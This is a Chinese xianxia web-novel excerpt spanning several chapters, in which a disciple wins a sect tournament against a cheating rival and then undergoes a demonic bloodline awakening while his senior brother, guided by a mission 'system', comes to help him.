忘情剑乘风而去,钟冥望着那抹冰蓝弧光逐渐消失,墨色卷发在风中吹散。
他眸中暗金光芒闪烁,灵力波动,在一瞬间竟现出异兽般的竖瞳。
“唔……”钟冥毫无察觉,他捂着脑袋,闭上双目调整灵息。
最近他总是感到自身灵力不稳,气血翻涌,究竟是怎么回事?
难道是前两场比斗打得太猛了?
他再次睁开眼时,双目中已恢复纯净光彩。
钟冥回到琢光峰中,运转顾从星所传授的清心诀,直到浑身灵力恢复平稳,再次起身执剑。
步若凌波,剑势如虹!
****
顾从星从主峰回来时已是夕阳西下。
与兰决分别后,他步履不停,直接来到钟冥所在的小院。
明天是小师弟最后一
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场比斗,他若能指点一二,应对小师弟会有所助益。
傍晚微风拂面而过,竹叶潇潇间,顾从星看到少年舞剑的身影。
衣袂翻飞鼓动,少年身形矫若飞燕,剑尖点地借力,旋身而起,剑光扫过之处,落叶与晚风皆被劈作两半。
——正是流云剑法。
“小师弟。”顾从星轻声呼唤,钟冥骤然收势,回首时双眼发亮。
“师兄!”他欢喜地跑过来,正要扑入顾从星怀中,却又动作一滞。
顾从星正疑惑,只见钟冥先给自己施了个洁身术,将身上热汗与尘土都除去,这才笑着钻进他的怀抱。
“你这家伙,何必在意这些,我又不会嫌弃你。”
钟冥不语,只是毛茸茸的脑袋又蹭了蹭。
顾从星笑着拍拍他,又道:“你剑法进步很快。今晚我们过过招,就当为明日准备。”
“好!”
钟冥横剑于胸前,眸中闪着兴奋的光彩。
“师兄,出招吧!”
顾从星也斗志盎然,他将修为压至筑基前期,召出斩鲸剑,手腕翻动之间,骤然出击!
“铮!”
“轰——”
两人以剑法相斗,又以灵力相辅,激起阵阵烟尘!
一招一式之间,尽是精巧战技!
两人皆觉痛快无比,不知不觉间竟已斗了数个时辰。直到顾从星剑尖斩断钟冥的一缕鬓发,这场较量才宣告终结。
“师兄果然厉害!”
钟冥全无气馁,反而眸光越亮,笑意盈盈。
“小师弟进步飞快,或许再过不久就可超过我了。”
顾从星收剑入鞘,因这番激烈运动额上渗出些细汗,面颊染上薄红,显得瞳色越黑,丹唇愈红。
钟冥一眨不眨地与他对视,心中却骤然冒出自己无意间翻到的那些话本。插画之中,两名男子紧紧相贴……
“!不!不会。”钟冥的面颊突然涨红,他收回目光,看着地面。
他在心中默念清心诀,直到浑身热意降下,才重新开口。
“师兄这次去了一个多月,我有好些话想和你说。”
他声音不高,语气却软,带着些撒娇意味。
“师兄,我晚上可以和你一起聊天吗?”
顾从星看他这模样,哪还说得出什么拒绝的话。
虽然小师弟有些粘人,不过也无甚影响。况且许久未见,自己也是颇有些想念。
“自然无碍。”顾从星笑道,“我们便秉烛夜谈一回,只要不影响你明日比赛就好。”
“好!那我过一会儿就去找师兄!”
钟冥欢声应下,顾从星料想也许他是要做些准备,便自己先回到竹屋。
他沐浴之后在床上调息,可不过多久却感到一阵困意。
按理说修真之人夜间不入睡也无妨,可或许是近日太过疲惫,回到居所之中又难得放松惬意,他此刻已是睡意昏沉。
不过一息间,他就躺下睡了过去。
等小师弟来了,应该会叫醒自己吧……
顾从星这般想着,意识陷入一片沉沉黑暗。
在一片寂然的黑幕中,他开始做梦。
有什么东西顺着自己的双腿缠绕而上,撩开松垮的里衣衣摆,一寸一寸,钻入布料之中。
滑溜溜的、带着凉意的触感。
是尾巴?是蛇?还是藤蔓?
睡梦中的顾从星蹙起了眉,可那东西却不但没有收敛,反而越发放肆地紧贴着他的肌肤,一点点蹭上高处。
除了腿间,胳膊上也传来异样的触感,它从指尖缠绕而上,一圈圈地收紧,另顾从星的手臂不能动作。
又有一条沿着他的脖颈轻蹭,拍了拍他的喉结,又缓缓地绕上他的后颈,沿着他的锁骨曲线滑动,无声向下——
那尖端搅乱衣襟,沿着布料间的缝隙滑动。
越来越多的湿滑之物牵绕而上,它的尾端竟然还有些突起,或重或轻地划过肌肤时,令顾从星身体一阵轻颤。
它在寂静中舞动,张扬着攀附,终于来到了那片洁净的领地……
21. 少年意
细长的凉意紧缚,划过膝弯,一点点交缠着向上。
在一片黑暗中,顾从星的视线被剥夺,全身的触感也越发鲜明。
上身的某条已经成功探进衣襟之中,放肆地摩挲着他的锁骨之下的肌肤。
再向下探寻,它惊喜地寻到了可以缠绕之处,小心地碰了碰,似是觉得有趣般,又重重一碾。
“唔……!”
衣襟下从未被人触碰过的领域被这样挑逗,顾从星的喉间泄出一道低吟。
那两条东西越发放肆,竟然在其上缠绕了一圈,缓缓紧缚——
“……嗯?!”
顾从星全身窜过一阵酥麻,他浑身冒出薄汗,令那些滑溜溜的东西越发顺利地攀附。
究竟是什么?尾巴?藤蔓?
它们就像是带着纯然的好奇,在这片名为陌生的领地上兴致盎然地探寻。
即使知道自己在梦境之中,可顾从星却只觉得自己在往一片怪异之感中坠去……
不、不行!
脑中的清明也像是要被逐渐吞噬,他紧抿双唇,令自己不再发出些奇怪的声音。
可又有一条东西带着凉意轻轻蹭上他的嘴角,像是安抚般,在他的唇瓣上拍了拍。
顾从星感受到脸上的触感,骤然张开嘴,狠狠咬下!
那东西猛地一颤,像是吃痛一般急速缩了回去。
顾从星合上嘴唇,尝到了一些别的味道,像是植物汁液。
居然带着些清甜?
他这一咬让自己得到解脱,那些东西将他松开,在临别时竟还黏黏糊糊地又蹭了蹭,颇有些不舍意味。
顾从星松了一口气,呼吸再次变得绵长……
……
等顾从星再次醒来时,已是晨光乍现。
他眨了眨眼,起身时颇觉地有些困乏。
真是个怪梦。
明知并非真实发生的事,可是他却仍有种浑身粘腻的错觉,于是又直身前往浴池。
待他沐浴更衣完,一道精神洋溢的呼唤传来。
“师兄!”
顾从星抬首,望到一片曦光之下的钟冥,他眸光熠熠,浑身上下都是生机勃勃。
倒是与自己这幅模样全然不同。
顾从星上前揉揉他的脑袋,问道:“昨日怎么没来寻我?”
听到这问话,钟冥眸光闪了闪,将视线投到一边。
“其实我来过。但当时你睡得香甜,我不愿吵醒你,就回去了。”
顾从星眼角抽了抽——睡得香甜?
脑中又浮现出昨夜的怪梦,顾从星轻摇了摇头,将那些抛之脑后。
“走吧,今日最后一场比斗可别大意。”
“是!”钟冥面上又扬起轻快笑意。
***
问道峰,演武场。
在一片明媚春光之中,身着青蓝弟子袍的少年们三五成群,热烈地猜测今日宗内大比的结果。
“说起来,真是没想到琢光峰那个小师弟这么能打,这才入宗一年就已经能连获两胜了!”
“木系灵根本是温和挂,他却用得都是凶狠路数,倒是和顾从星有些像。”
“噫,那更是个凶神,真是白长了一副好皮囊……”
他正要继续,却被一道声音打断了。
“又弱又菜,还爱嚼舌根,难怪进阶不了。”
那几名弟子惊怒地看去声音来源,竟然是沐泽峰峰主之子梅慈。
“梅慈?!”
“干你屁事……喂你拉我干什么?!”一名弟子正欲回嘴,却被身旁的人拉住了。
“得罪了沐泽峰峰主,你以后的丹药去哪领?”
“可……”
梅慈冷眼看他们斗嘴,讥讽地冷哼一声,扬长而去。
他没走几步,身旁又凑过来一人,嬉皮笑脸地搭话。
“哟呵,你这家伙之前不是挺讨厌顾师兄么?怎么转性了?”
梅慈瞥一眼笑嘻嘻的阮维:“干你屁事。”
“哈哈哈哈!还会现学现用呢小梅慈!”阮维笑意更甚,伸出手臂搭上梅慈肩膀。
梅慈皱了皱眉,正欲将他的胳膊拍开,却见他抬了抬下巴道:“看那边!顾师兄和他小师弟关系可真好!”
梅慈被他的话吸引,目光望向那道修长的银色身影。
擂台旁,顾从星为钟冥理了理衣襟,叮嘱道:“一会儿比试时切记保护好自己,可别被有心之人伤了去。”
他还是难以忘记重生后第一次与钟冥相见的场景,被围殴的少年实在是凄惨了些。
钟冥笑着捧起顾从星的手,放在脸庞蹭了蹭:“放心吧师兄,我会注意的。”
一旁的弟子听了他们的对话,面色诡异:谁?谁保护好自己?明明应该是钟冥的对手应该保护好自己吧!
他能受什么伤啊!
这时数道灵签从空中垂落,一道飞入钟冥手中,其上逐渐显现出他此次比斗的顺序与对手。
——顺位七,陈望。
钟冥瞳孔一缩,迸出兴奋的光。
顾从星见他不语,问道:“不想对上他?”
钟冥摇了摇头,露出个纯然笑意。
“不,师兄。这次抽签结果正合我心意。”
问道峰大殿的钟声敲动,宗主李逸之御风而来,何长老与段长老一左一右站在他身侧。
李逸之相貌堂堂,气势威严。他站于高台之上俯瞰演武场众弟子,身侧的何长老高声道:“宗门大比最后一场,开始!”
序号一的两门弟子上场,长剑起势,比斗正式开启!
前几场比斗持续时间并不长,很快就到了第七场。
钟冥站在斗台之上,面对顾从星时的乖顺笑意已全然不见踪迹。他眸光凛冽,与对面之人对视。
陈望看着他,神色阴鸷。
他之前因为重伤钟冥被发现,被抽了八十戒鞭,又被投入思过崖,受了不少苦头。
但因陈长老有不少灵丹妙药,他在前段时间不仅得以恢复,还能进阶筑基。
“你这该死的杂种,竟还能撑到最后一场。”他冷笑道,“今日没有顾从星给你撑腰,你现在下跪求饶,老子还能考虑放你一马。”
“不然,你就残着滚下台吧!”
擂台之上有封印结界,隔绝与外界的灵力波动,外界只能看到他们嘴唇在动,却听不到声音。
钟冥祭出长剑,嘴角向上弯起,暗金色瞳中兴奋的光芒越盛。
“真是可惜……”
陈望皱起眉,骂道:“你这杂种聋了?”
灵力涌动间,千钧剑意悍然出击!
“——可惜这比斗中不能杀人啊!”
钟冥的高喝与灵剑一同迸发,只是瞬息间就已经直逼陈望眼前!
“靠!”
他立即甩出一道护身符箓,那符箓与剑尖相触,爆发出强烈的灵力对冲!
陈望惊骇地睁大双眼:这怎么可能!这可是筑基中期也难以对抗的符箓!
他又抽出两道符箓,一枚挟着凶悍火光,一枚带着千钧寒意,直冲钟冥脉门!
可钟冥却步法如同鬼魅,竟然一个侧身就避开了那道火符箓,又持剑一挑,在转身之间将火符拨向冰符!
“唰——”
两道符箓在空中碰撞,化为阵阵白烟。
顾从星在场外凝视着钟冥的一举一动,心中亦是震动。
他这一招一式,分明是自己当初救他时的剑招!
“草!”陈望发出怒吼,又甩出一道巨石符。
钟冥持剑出击,与巨石相抗,将其一举劈作两半!
他脚步不停,眨眼间已逼近陈望面前!
陈望面色惊骇地退后,却仍是被长剑刺中左肩!
可并未涌出鲜红的血液,反而是溢出了缕缕白烟。面前的人影也在越来越浓的烟雾中模糊。
——是高阶替身符箓!
钟冥骤然收剑,正要后退时却感受到脚下爆发出阵法光芒——竟然是狂乱阵!
身陷此阵中,
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修士皆会气血翻涌、灵台混乱,时间长久甚至会自相残杀!
钟冥眸色阴沉,他一剑刺下,灵力翻涌,划破阵法的一角。
然而就在此时,一片白烟之中,致命的熔岩符箓直击钟冥后心!
“死吧——!”
“小师弟!”顾从星在外场虽看不清其中详情,却也能瞥见一道赤红的岩浆火光!
高阶熔岩符箓!筑基修为的陈望怎会拥有此种灵符!这分明是金丹以上的修士才能绘出!
“从星。”
兰决不知何时也来到演武场,他拉住正要起身的顾从星,道:“斗台结界一旦开启,唯有一方落败才能自行关闭。我已告知长老陈望作弊之事,可他们亦需时间破开结界。”
“可小师弟……”
兰决一手按在他肩膀上,眸光沉沉:“从星,相信小师弟。”
顾从星皱眉望向斗场,额上淌过一道冷汗。
而斗场之内,已有几道血迹滴落地面。
“滴答、滴答——”
猩红痕迹绽开,陈望不可置信地望向眼前。
一袭黑衣的钟冥毫发无伤地站在他面前,但浑身气势却像是换了一个人,带着暴虐杀意。
就在片刻前,陈望将熔岩符箓袭向钟冥后心,可他却像是背后长眼了一般,瞬间后撤弯腰,避开了那道符箓。
不仅如此,从地面中不知何时钻出了几根极其粗壮的藤条,将陈望紧紧缚在原地!
就在他想要挣扎脱身时,挟着杀意的长剑已穿过他的左肩!
“啊啊啊!”
陈望嘶声呼喊,可又一剑已刺在他右臂!
不仅如此,钟冥还将手腕轻轻转动,令那伤口越发鲜血淋漓。
“好痛好痛啊啊!”
陈望尖叫道,他痛苦怒骂,可不过说了两句就有一道藤蔓缠上他的脖颈,缓缓绞紧!
其他缠着他四肢的藤蔓亦是向不同方向撕扯,简直像要把他分尸于此!
死亡的危机感袭来,陈望看着眼前带着嗜血笑意的钟冥,终于意识到他是真的想要杀了自己!
“我……我认输!求求你,放了我!”
窒息感仍在加强,陈望涕泗横流,嘶声道:“烟雾!烟雾快散了!难道你想让所有人看到你将我杀死吗?”
他此话一出,面前的钟冥眉头皱了皱,眸光闪动。
见他如此,陈望又急急道:“顾从星!想想顾从星,他都没有杀了我,你真要、咳咳……”
他的喉咙已经被缠到难以发声,就在他以为自己真要死亡的那一刻,所有的紧缚骤然散开。
钟冥神色已经完全恢复清明,他眨了眨眼,冷冷打量面前垂死的陈望。
“……真弱啊。不能让师兄看到你这幅样子呢。”
他施了个治疗术,将陈望身上裸露出来的伤痕愈合。
陈望看着眼前依然纯洁青涩的少年,内心涌起恐惧的狂狼。
钟冥笑了笑,在唇前竖起手指。
“嘘。”
就在此刻,烟雾彻底消散,斗场结界也轰然破碎!
在场之人终于看清了斗场之上的人影,陈望匍匐于地浑身颤抖,而傲然屹立的,正是手持长剑的钟冥!
空气陷入一片沉寂,又骤然爆发出一阵欢呼!
钟冥,竟能在对手作弊偷袭的情况下,悍然取胜!
“小师弟!”顾从星不由得发出一声疾呼。
斗场中央的少年闻声回首,暗金色双眸中映出顾从星的面容。
他的笑容依然纯然而璀璨,另在场几位女修不由得脸红。
“师兄,我赢了。”
顾从星也露出笑意,快步奔向斗场。
然而就在此刻,一道冰冷的声音却在脑中浮现:
【滴!紧急任务开启!紧急任务开启!】
【请宿主完成主线任务:令钟冥成功度过血脉觉醒期!】
【滴!经检测,钟冥血脉觉醒异常提前,请宿主慎重选择,避免失败结局!】
22. 天魔血
血脉觉醒?
顾从星的脚步一顿。
然而下一刻,他已被拥入一个暖烘烘的怀抱。
“师兄!我赢了!我可以和你一起去仙门大比了!”
钟冥的脑袋蹭在顾从星脖颈旁,声音中是难以抑制的欢喜。
“……恩。你做得很棒,小师弟。”
看小师弟并无异常,顾从星将心中的疑惑压下,一如既往地摸摸他脑袋。
“嘿嘿。”
钟冥将顾从星松开了些,紧紧拉住他的双手,两人十指相扣。
“师兄,我想……”
“恭喜小师弟。真是精彩的一战。”
钟冥被一道温润声音打断,他回首看去,果然是大师兄兰决。
“多谢大师兄。”钟冥并未放开与顾从星紧扣的双手,只是对兰决笑着回应。
兰决面容上仍是清浅笑意,可他的目光却落在了两人的手上。
他继续道:“再过不久何长老就要为优胜者们颁发奖励,小师弟可准备一番。另外……”
“从星,师尊已经完成了结界封印的加强,我们也应找他汇报任务了。”
顾从星闻言眸光一亮。
“好,我们何时去?”
“不如现在就与我同去吧。”兰决对顾从星回应,又转头对钟冥道,“小师弟,陈望作弊之事已是板上钉钉,定不会逃脱惩罚。”
顾从星松开与小师弟相握的手,又揉揉他脑袋。
“没错。小师弟你是当之无愧的榜首,也算是一报前仇了。”
师兄弟三人又寒暄片刻,顾从星便与兰决一同前去玄冰殿。
他本以为钟冥会撒娇再缠一会儿自己,可是少年竟是很利索地就放自己离开了。
果然是长大了啊。顾从星露出个欣慰笑意。
来到冷泉,兰决与顾从星迈步进入冰殿之中。
在望见那抹月白色的一刻,顾从星的脚步更快了些。
当时在幻境中,他正是想到了如皎皎明月般的师尊才能尽早发现不对。
“师尊。”顾从星与兰决一同出声。
沈慕的眸光扫过面前两名弟子,颔首道:“不错,皆有进益。”
“此次你们任务凶险,究竟是发生了何事?”
兰决与顾从星对视一眼,将无梦庄之事详细道出。不过对于幻境中他与顾从星的情感纠葛皆是草草带过,重点落在梦妖织罹之上。
沈慕听完后神色依旧不变,他垂眸思量片刻,对两人道:
“此次你们算是智取,做得不错。梦妖之事,我会传讯给天麟派。”
顾从星脑中闪过一道红色锦袍的身影,思绪翩飞起来。
“从星?”兰决注意到他的走神,轻轻勾了勾他的手指。
沈慕注视着两人衣袖下的动作,默了片刻道:“接下来我要给从星传授功法,兰决,你可先回去。”
兰决有些讶然地扬眉,他的目光流转,对上沈慕冰蓝色的双眸时垂下眼,道了声“是”。
兰决离开后,沈慕召出一本闪烁着金光的功法古籍,递到顾从星手中。
——果然是金系灵根的最高阶功法《幻剑无尽诀》。
此功法强悍异常,乃以一对多的大杀招。前世被百人围剿时,顾从星就是凭借此法对敌,由金系灵力凝成的利刃夺去数十名修士性命。
若无此功法,恐怕或许他还撑不到将神识传给萧忘忧的那一刻。
“多谢师尊!”
顾从星珍重地收下。
以金系灵力凝成的利刃数量与自身的修为境界有关。他前世巅峰是金丹后期,本应只能凝出十柄利刃,可他却强行凝出了五十多柄。
故而,即使最后不自爆,其实他的灵丹也是撑不了多久的。
平静冷冽的声音将顾从星从回忆中唤回。
“从星,问道修行不仅依靠天资与功法,还需道心平稳。”
“须记,大道忘情。”
顾从星闻言不解地抬头。
为何大师兄与师尊都和他提及这一点?
难道他看上去是处处留情之人吗?
虽是疑惑,但他还是顺着应下。
然而就在此时,脑海中骤然响起疯狂的鸣声。
【滴!紧急任务已强制启动!】
【滴!请宿主立刻赶往目标对象钟冥身侧!助其度过血脉觉醒期!】
【任务超时则失败!倒计时已开启,剩余时间2:00:00。】
顾从星瞳孔一缩,他瞥一眼空中数字闪烁的石板,立即动身告辞。
“师尊,徒儿还有事,就先走一步了!”
他动作飞快,只是眨眼间就消失在玄冰殿中。
沈慕看着他离去的背影,目光又转向他刚刚望向的空气。
——那里空无一物。
沈慕眉峰蹙起,冰蓝双眸之中冷光闪动。
***
琢光峰,钟冥洞府之中。
少年浑身浸在泉水之中,任冷意肆虐,浑身灵力涌动。
他自不久前就时常感到灵力紊乱,气血躁动,但总能依靠功法口诀将其抑制。
可今日对战时陈望那个该死的狂乱阵,竟是大大加剧了他的躁动之症!
甚至,他的灵台也受到影响,险些失去理智地杀了那厮。
虽然他之后理智恢复,可灵力与气血的混乱却难以抑制,他拼命忍耐,总算熬到大比结算结束,立即御剑回到洞府之中。
“究竟是怎么回事……”
明明已经使尽了清心口诀,也服过了平静气血的灵丹,为何丝毫无用?!
他浑身的温度越来越高,即使身在冰冷泉水之中,却仿若置身于铁水熔炉一般。
“唔——!”
钟冥发出痛苦的呻吟,他气血翻涌、灵力倒流,竟是已让神台不复清明!
不、不行!
他强行让自己神智不失,竟是拔出长剑,一举刺入腿中!
鲜血喷涌而出,泉水中顿时变得一片赤红。
“不能如此……我得去找师兄、找医修……”
强烈的痛楚令他的意识再次清晰,钟冥挣扎着起身,可往水中无意的一瞥,却刹那间让他怔在原地。
水中的倒影,为何是竖瞳?!
那明明是妖魔才有的金色竖瞳!
“不——!”
他一把荡开面前的泉水,痛苦地捂上自己脑袋。
“啊啊啊——”
不仅如此,他手臂之上竟然长出了漆黑的鳞片!它们一寸一寸地攀附向上,简直就像是要把原本的白净的肌肤吞噬殆尽!
额头之上有两处又痛又痒,他伸出摸上去,竟是长出了两支角来!
“不可能、不可能!”
“怎么会这样——!”
他的心已经坠入了绝望的谷底,然而就在此时,一道呼唤令他彻底面无血色。
“……小师弟?”
钟冥僵硬地回首,只见一道熟悉的身影正站在泉水后方。
——正是神色空白的顾从星。<
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p>顾从星站在原地,全身像灌了铅一般动弹不得。
那一刻,什么任务、什么倒计时,都被他抛之脑后。
一片血色的泉水中,绝望嘶吼的那道人影,竟然是小师弟钟冥?
不,或许那已经不能称之为“人影”。
黑色鳞片、头顶两角、金色竖瞳……
这分明是再也明显不过的魔族!
是顾氏百年来的血仇,北境魔族!
顾从星的热血上涌,可是浑身却冷得如同坠入冰窟。
该怎么办?
要像顾氏祖训一般,就在此地动手,斩妖除魔?
可是,那分明是他一手教导,引导至今的小师弟!
他的脑中像是有两人在左右互搏,令他的指间动了动,却终究无法拿起斩鲸剑。
他像是被贯穿一般,直身愣在原地。
“不、不!师兄,别看我!!”
黑色的影子发出痛苦嘶吼。
顾从星缓缓抬眸,却与那双妖异的竖瞳四目相对。
那双以往都映着阳光的纯净双眸、被顾从星夸赞的金色眼瞳,此刻却已尽是浑浊魔息。
“师兄!!”
那道黑影痛呼着,泪水如泉涌。
——明明像是会择人而噬的怪物,可此刻他却在卑微地呼唤、绝望地流泪。
听到这声椎心泣血的呼喊,顾从星的眼神动了动,缓缓向前迈出一步。
“别过来!师兄!别过来——”
钟冥捂着脑袋,自己的灵台已然受损,再这样下去,恐怕真会理智全无!
他宁愿自戕于此,也绝不愿伤害师兄!
顾从星望着血池中的怪物,脑中思绪翻飞,终是下定决心地迈出一步!
不论如何,他都不能放任小师弟于此!
“别过来!!”
钟冥捂着双眼后退,他的身子已经退到了冷泉边缘,颤抖地望着一步步靠近的顾从星。
“小师弟,别怕。”
仍是与以往一般的温柔语气,此刻却带着不容撼动的决心。
“别怕,有我在。”
钟冥闻言放下布满鳞片的双手,一瞬不瞬地望着顾从星的面容。
他嘴唇颤抖了下,一行清泪又淌了下来。
“师兄……”
温暖的身躯靠近,将他抱入怀中。
——在一片血色之中,黑鳞长角的怪物与一名银袍玉面的少年紧紧相拥。
如此割裂,却又如此相融。
在钟冥身后,他并未意识到自己尾椎骨上已然长出了一根漆黑的长尾,那尾巴在水中荡了荡,一点点靠近那银白的衣摆。
“师弟,我先为你疏引灵气。你现在灵力乱流,恐怕会危及根本。”
顾从星的手放在钟冥背心,将自身灵力顺着他的灵脉缓缓注入。
“你跟着我的动作,一起流转灵力……嗯?!”
顾从星的声音被骤然打断,他的腿间竟缠上了一条粗壮的尾巴!还一点点蹭上他衣物深处!
这是什么东西!
那个靡乱粘腻的梦境在记忆中复苏,顾从星的心骤然一乱,下意识地就要向后一步挣脱那条尾巴的束缚!
然而他还未迈出一步,两条坚硬的手臂如铁一般焊住了他。
不留半分退路。
顾从星惊愕地抬头,正对上那双已经完全失去清明的暗金竖瞳。
那双怪物一般的眼眸睁大,映出顾从星苍白面容。
“师兄,要弃我而去了吗?”